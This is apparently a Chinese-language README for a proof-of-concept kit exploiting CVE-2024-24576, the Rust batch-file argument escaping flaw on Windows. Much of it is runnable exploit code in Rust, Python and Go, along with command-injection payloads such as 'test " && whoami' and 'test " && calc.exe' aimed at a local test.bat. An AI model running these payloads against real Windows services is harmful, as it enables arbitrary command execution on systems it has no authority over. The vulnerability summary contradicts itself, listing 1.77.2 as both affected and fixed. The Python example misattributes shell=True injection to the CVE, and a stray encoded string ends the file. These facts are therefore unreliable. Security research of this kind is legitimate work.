CVE-2024-24576 漏洞利用与测试工具集
本项目提供了针对 CVE-2024-24576 安全漏洞的概念验证(PoC)代码,涵盖 Rust、Python 和 Go 三种编程语言。该漏洞存在于 Rust 标准库在 Windows 平台上处理批处理文件参数时的转义逻辑缺陷,可能导致任意命令执行。
功能特性
- 多语言 PoC 实现:提供 Rust、Python、Go 三种语言的漏洞测试代码
- 命令注入测试:演示通过恶意构造的参数实现命令注入攻击
-
批处理文件调用模拟:展示调用
test.bat批处理文件时的安全风险 -
Rust 特有漏洞对比:特别对比 Rust 中
Command::arg与Command::args两种 API 的注入表现 - 安全研究辅助:帮助开发者理解漏洞原理并进行安全测试
安装指南
系统要求
- Windows 操作系统(漏洞特定平台)
- 对应语言的运行时环境
Rust 版本
# 安装 Rust(如未安装)
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
# 编译运行
rustc exploit.rs
./exploit.exe
Python 版本
# 无需额外依赖,使用标准库
python exploit.py
Go 版本
# 安装 Go(如未安装)
# 下载地址:https://golang.org/dl/
# 编译运行
go build exploit.go
exploit.exe
使用说明
基础使用
-
准备测试批处理文件:在项目根目录创建
test.bat文件
@echo off
echo Argument received: %1
- 运行 PoC 程序:
Rust 版本(自动执行多个预定义 Payload):
cargo run
# 或
./exploit.exe
# 程序会自动测试多个 Payload,并等待用户输入额外 Payload
Python 版本(交互式输入):
python exploit.py
Enter Payload: test && whoami
Go 版本(交互式输入):
go run exploit.go
Enter parameter 1: test && whoami
典型测试 Payload 示例
# 基础测试
test
# 命令注入 - 执行 whoami
test && whoami
# 命令注入 - 带引号绕过
test " && whoami
# 命令注入 - Rust 版本特殊构造
test " && calc.exe
Rust 版本特殊说明
Rust 版本会依次测试:
- 预定义的 3 个 Payload
- 用户输入的 Payload(自动包装为
test " && {input}格式) - 分别测试
Command::arg和Command::args两种 API
核心代码
Rust 漏洞利用核心代码
use std::process::Command;
use std::io;
fn main() {
// 存储测试 Payload 的向量
let mut payloads = vec![
"test",
r#"test && whoami"#,
r#"test " && whoami"#,
];
// 获取用户输入并添加到 Payload 向量
println!("Enter payload:");
let mut input = String::new();
io::stdin().read_line(&mut input).expect("Failed to read line");
let payload = input.trim();
let command = format!(r#"test " && {}"#, payload);
payloads.push(&command);
// 测试 Command::arg API
println!("Command Injection on Command::arg");
for payload in &payloads {
let output = Command::new("./test.bat")
.arg(payload)
.output()
.expect("Failed to execute command");
println!(
"Output for payload '{}':\n{}",
payload,
String::from_utf8_lossy(&output.stdout)
);
}
// 测试 Command::args API
println!("Command Injection on Command::args");
for payload in &payloads {
let output = Command::new("./test.bat")
.args(&[payload])
.output()
.expect("Failed to execute command");
println!(
"Output for payload '{}':\n{}",
payload,
String::from_utf8_lossy(&output.stdout)
);
}
}
Python 漏洞利用核心代码
import subprocess
def run_batch_file(batch_file_path, second_argument):
"""
执行批处理文件并传递参数
存在命令注入风险:参数未经过滤直接传递给 shell
"""
try:
# shell=True 会调用 cmd.exe,导致参数被解析执行
subprocess.run([batch_file_path, second_argument], shell=True, check=True)
except subprocess.CalledProcessError as e:
print(f"Error occurred while running the batch file: {e}")
except FileNotFoundError:
print(f"Batch file '{batch_file_path}' not found.")
# 示例使用:从用户输入获取恶意参数
batch_file_path = "test.bat"
second_argument = input("Enter Payload: ")
run_batch_file(batch_file_path, second_argument)
Go 漏洞利用核心代码
package main
import (
"bufio"
"fmt"
"os"
"os/exec"
"strings"
)
func main() {
batchFile := `test.bat`
// 获取用户输入的参数
reader := bufio.NewReader(os.Stdin)
fmt.Print("Enter parameter 1: ")
param1, _ := reader.ReadString('\n')
param1 = strings.TrimSpace(param1)
// 构造命令并执行
parameters := []string{param1}
cmd := exec.Command(batchFile, parameters...)
// 设置标准输出和错误输出
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
// 执行命令(存在注入风险)
err := cmd.Run()
if err != nil {
fmt.Println("Error:", err)
return
}
fmt.Println("Batch file executed successfully.")
}
漏洞说明
根据 Rust 安全公告 CVE-2024-24576,Rust 标准库在 Windows 平台上调用批处理文件时,参数转义逻辑不完整,可能导致恶意参数绕过转义机制并执行任意 shell 命令。
- 影响版本:Rust 1.77.2 及之前版本
- 修复版本:Rust 1.77.2(部分修复)、1.78.0(完全修复)
-
风险 API:
Command::arg和Command::args
6HFtX5dABrKlqXeO5PUv/0utpqH8CghdzjK93UH3cmiU5I9Lm+I0lAqOHt1e1fxf